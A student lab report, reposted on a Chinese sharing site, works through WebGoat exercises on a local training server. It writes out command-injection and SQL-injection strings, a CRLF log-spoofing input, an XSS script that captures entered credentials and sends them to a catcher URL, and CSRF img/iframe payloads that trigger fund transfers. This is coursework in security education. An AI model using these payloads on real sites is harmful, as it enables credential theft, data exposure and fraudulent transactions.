其他分享
首页 > 其他分享> > 2019-2020-2 20175326 李一潇《网络对抗技术》Exp9 Web安全基础

2019-2020-2 20175326 李一潇《网络对抗技术》Exp9 Web安全基础

作者:互联网

2019-2020-2 20175326李一潇《网络对抗技术》 Exp9 Web安全基础

一、实验内容

二、实验原理

三、实验步骤

WebGoat安装

先下载webgoat-container-7.0.1-war-exec.jar和JDK,网盘链接(提取码:agfd)
根据这篇文章配置JDK
通过命令netstat -tupln | grep 8080查看端口是否被占用,如果被占用,通过kill+进程号命令终止进程
webgoat-container-7.0.1-war-exec.jar文件所在的目录下执行java -jar webgoat-container-7.0.1-war-exec.jar

在浏览器中输入http://localhost:8080/WebGoat 进入WebGoat登录界面,并使用页面下端任意一个账号密码进行登录

1.SQL注入攻击

命令注入

在正常的参数提交过程中添加恶意代码以执行某条指令。
在菜单栏中选择Injection Flaws,展开页面中选择Command Injection

右键点击页面,选择inspect Element 审查网页元素对源代码进行修改,在复选框中对应位置第一个option的代码,双击进行修改,添加"& ps -ef"

点击view可以看到进程信息

数字型注入

在station字段中注入特征字符,组合成新的SQL语句。
选择Numeric SQL Injection,右键点击页面,选择inspect Element 审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1

点击Go显示所有城市的天气情况

日志欺骗

攻击者可以利用这种方式清除他们在日志中的痕迹
选择Log Spoofing,在 username 中填入20175326%0d%0aLogin Succeeded for username: admin
其中0D%是回车,%0A是换行符

字符串型注入

通过注入字符串绕过认证
LAB: SQL Injection的展开页面中选择String SQL Injection
右键点击页面,选择inspect Element 审查网页元素对源代码进行修改,将password密码框的最大长度限制改为18。

以用户Neville(admit)登录,输入密码hello' or '1' = '1,即可获取到所有人员列表

数字型 SQL 注入

通过注入数字型数据绕过认证
选择Numeric SQL Injection,使用用户名 Larry,密码 larry 登录
登陆成功后,右键点击页面,选择inspect Element,将员工ID的value改成101 or 1=1 order by salary desc

点击ViewProfile ,即可查询到最高纪录的结果

字符串注入

通过注入字符串绕过认证。
在菜单栏中选择Injection Flaws,展开页面中选择String SQL Injection

输入查询的用户名Smith' or 1=1-- (1=1是恒等式,因此能查询到表里面的所有数据),即可查询到所有用户信用卡号码

2.XSS攻击

XSS 钓鱼

当用户输入非法HTTP响应时容易受到XSS攻击。
在菜单栏中选择Cross‐Site Scripting,展开页面中选择Phishing with XSS
search框中输入以下代码

</form> 
<script> 
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; 
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); 
    } 
</script> 
<form name="phish"> 
<br> 
<br> 
//表格 
<HR> 
    <H2>This feature requires account login:</H2> 
<br> 
    <br>Enter Username:<br> 
    <input type="text" name="user"> 
    <br>Enter Password:<br> 
    <input type="password" name = "pass"> 
<br> 
    <input type="submit" name="login" value="login" onclick="hack()"> 
</form> 
<br> 
<br> 
<HR>

然后输入用户名及密码进行登录,就可以看见登陆信息了

存储型XSS攻击

用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。
选择Stored XSS Attacks,在title中任意输入字符,留言板中输入<script>alert("I am 20175226. You've been attacked!!!");</script>

反射型XSS攻击

在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
选择Reflected XSS Attacks,输入XSS钓鱼中的代码,然后输入账号信息

3.CSRF攻击

跨站请求伪造

跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。
在菜单栏中选择Cross‐Site Scripting,展开页面中选择Cross Site Request Forgery (CSRF)
在title中输入任何参数(学号),根据自己参数的实际情况message框中输入 <img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1" />

绕过 CSRF 确认

跨站点请求伪造欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令
选择CSRF Prompt By‐Pass,在title框中输入学号,message框中输入代码

<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe> 
<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>

点击进入生成的链接后,攻击成功

四、实验心得

这是网络攻防的最后一次实验,是web安全基础,是我们上个星期实验的拓展,主要是和攻击相关的内容。这个实验基本上是这门课的一个总结,运用了多种攻击方式,也是对以前的知识的一种回顾,也让我们知道的网络攻击的简便。
通过整个课程的学习,对我提升最大的不是我们课程上所学到的内容,如果去进行网络攻击,而是提高我的网络安全意识,在使用互联网的过程当中,如何去保护我们的个人隐私安全,这可能是对我的最大的收获吧。其次是学习到了一种探究的学习方法,如何去查询资料,如何得到自己想要的结果,这都是对我的提升。

五、思考题

标签:XSS,Exp9,20175326,Web,攻击,SQL,注入,输入,页面
来源: https://www.cnblogs.com/lyx-hhhhh/p/12973164.html